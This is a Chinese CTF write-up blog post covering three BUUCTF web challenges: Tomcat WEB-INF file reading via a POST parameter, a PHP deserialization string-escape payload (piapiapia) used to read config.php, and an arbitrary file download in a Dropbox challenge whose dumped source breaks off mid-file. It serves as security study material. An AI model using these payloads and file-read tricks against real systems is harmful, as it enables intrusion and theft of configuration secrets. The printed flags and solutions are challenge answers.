BUUCTF WEB(12月刷题~)

BUUCTF WEB(12月刷题~)

emmmm,学习是要学习的,该记录的也得记录,,
就记录一下最近在BUUCTF上刷的题目吧,只求扩展一下自己的知识面,,,

BUUCTF WEB [RoarCTF 2019]Easy Java

进入页面得到一个登录页面和help页面:
在这里插入图片描述
help页面有一个filename的参数,不过貌似没什么用,,,,
在这里插入图片描述
尝试登陆!!!跑一下弱密码,账户:admin,得到弱密码admin888
登陆进去发现提示flag不在这里,,,
在这里插入图片描述
然后找了半天,没找到任何东西,,,源码也没有什么,,,
回到help页面,,,filename参数不论传入什么都不起作用,,,,
在这里插入图片描述
换一种参数进行尝试,发现要POST传递一个filename时才能有文件内容显示,否则报一个500错误:
在这里插入图片描述
根据报错信息我们可以得知服务器类型以及版本信息:Apache Tomcat/8.5.24
一般用java做过网站的都知道有一个WEB-INF目录,,,它是java的web应用的安全目录,包含以下目录及文件:

/WEB-INF/web.xml:				Web应用程序的配置文件
/WEB-INF/classes/:				包含站点所有的class文件
/WEB-INF/lib/:					存放需要的jar文件
/WEB-INF/src/:					源码目录
/WEB-INF/database.properties:	数据库配置文件

我们尝试读取配置文件,web.xml:
在这里插入图片描述
发现一个疑似flag存放的目录,,,
进行读取,发现一串base64的字符串:
在这里插入图片描述
进行解码得到flag:
在这里插入图片描述
emmmm,这能说这道题目是真的坑,,,,
首先你的了解java搭建的目录结构,其次还有传递方式的转变!
所以web真的太难了啊!!!!!!

BUUCTF WEB [0CTF 2016]piapiapia

打开页面是一个登录页面,还有一个可爱的小猫,,,越看越有意思,,,
在这里插入图片描述
尝试登陆,失败,,,,,查看源码,,,,无果
查看robots.txt没有,发现存在源码泄露,,www.zip,下载下来可看见文件目录:
在这里插入图片描述
看到class.php就感觉存在序列化,,,,都查看一下源码
class.php中基本都是数据库增加修改语句,,,发现存在过滤函数:
在这里插入图片描述
config.php中应该是存放着flag:
在这里插入图片描述
发现profile.php中存在文件读取,还有反序列化:
在这里插入图片描述
到这里我们应该知道要做啥了,就是需要我们通过这里来进行读取config.php中的内容
不过我们该如何控制$profile[‘photo’]中的内容为config.php呢???

再看看update.php中内容:
在这里插入图片描述
发现在这里我们好像能够控制$profile[‘photo’]中的内容!!!
其实这道题目是利用php反序列化长度变化尾部字符串逃逸漏洞,,,,
首先来看看反序列化的规则,构造如下代码:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:0:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
   
   
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  string(0) ""
  ["photo"]=>
  string(10) "config.php"
}

会发现;}之后的都没有起作用!!而且还有一点,,,
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的
只要整个字符串的前一部分能够成功反序列化,那么就能够序列化成功!!!
如下代码:

$b = 'a:2:{i:0;s:5:"phone";i:1;s:8:"admin123";}123"}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(2) {
   
   
  [0]=>
  string(5) "phone"
  [1]=>
  string(8) "admin123"
}

知道这些东西就好办了呀,我们可以构造nickname为数组,然后我们再构造photo为:";}s:5:"photo";s:10:"config.php";}
这样我们所构造的payload就变成了如下:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
   
   
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  array(1) {
   
   
    [0]=>
    string(0) ""
  }
  ["photo"]=>
  string(10) "config.php"
}

可以清楚看见photo变成了config.php!!!而且nickname变成数组还可以绕过如下过滤:
在这里插入图片描述
但是我们传输的时候长度是不变的怎么办??其实我们可以看见class.php中的那里会把where变成hacker
这样我们就可以多一个字符出来利用!!构造34个where,刚好可以把";}s:5:"photo";s:10:"config.php";}挤出来
使之能够执行!!!到这里就可以去做题目了!!!!
已知有个注册页面,先注册一个用户,,注册完需要我们更新信息,,,直接抓包:
在这里插入图片描述
然后直接构造:
在这里插入图片描述
之后访问profile.php可以看见:
在这里插入图片描述
解码得到flag:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ce293cc-273b-4d97-ba44-036a5cde57e0}';
?>

BUUCTF WEB [CISCN2019 华北赛区 Day1 Web1]Dropbox

打开页面需要登陆,OK,先注册一个直接登陆,发现有个文件上传:
在这里插入图片描述
尝试上传shell,上传成功但是没有显示,而且路径也不知道:
在这里插入图片描述
上传图片有显示,,,,,还有个删除和下载,删除就直接删除了,下载就是直接下载文件,,,,
下载文件直接抓包!!发现存在任意文件下载:
在这里插入图片描述
把能下载的文件全部都下载下来看看,,,,
class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
   
   
    public $db;

    public function __construct() {
   
   
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
   
   
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
   
   
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
   
   
        if ($this->user_exist($username)) {
   
   
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
   
   
        if (!$this->user_exist($username)) {
   
   
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db-
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值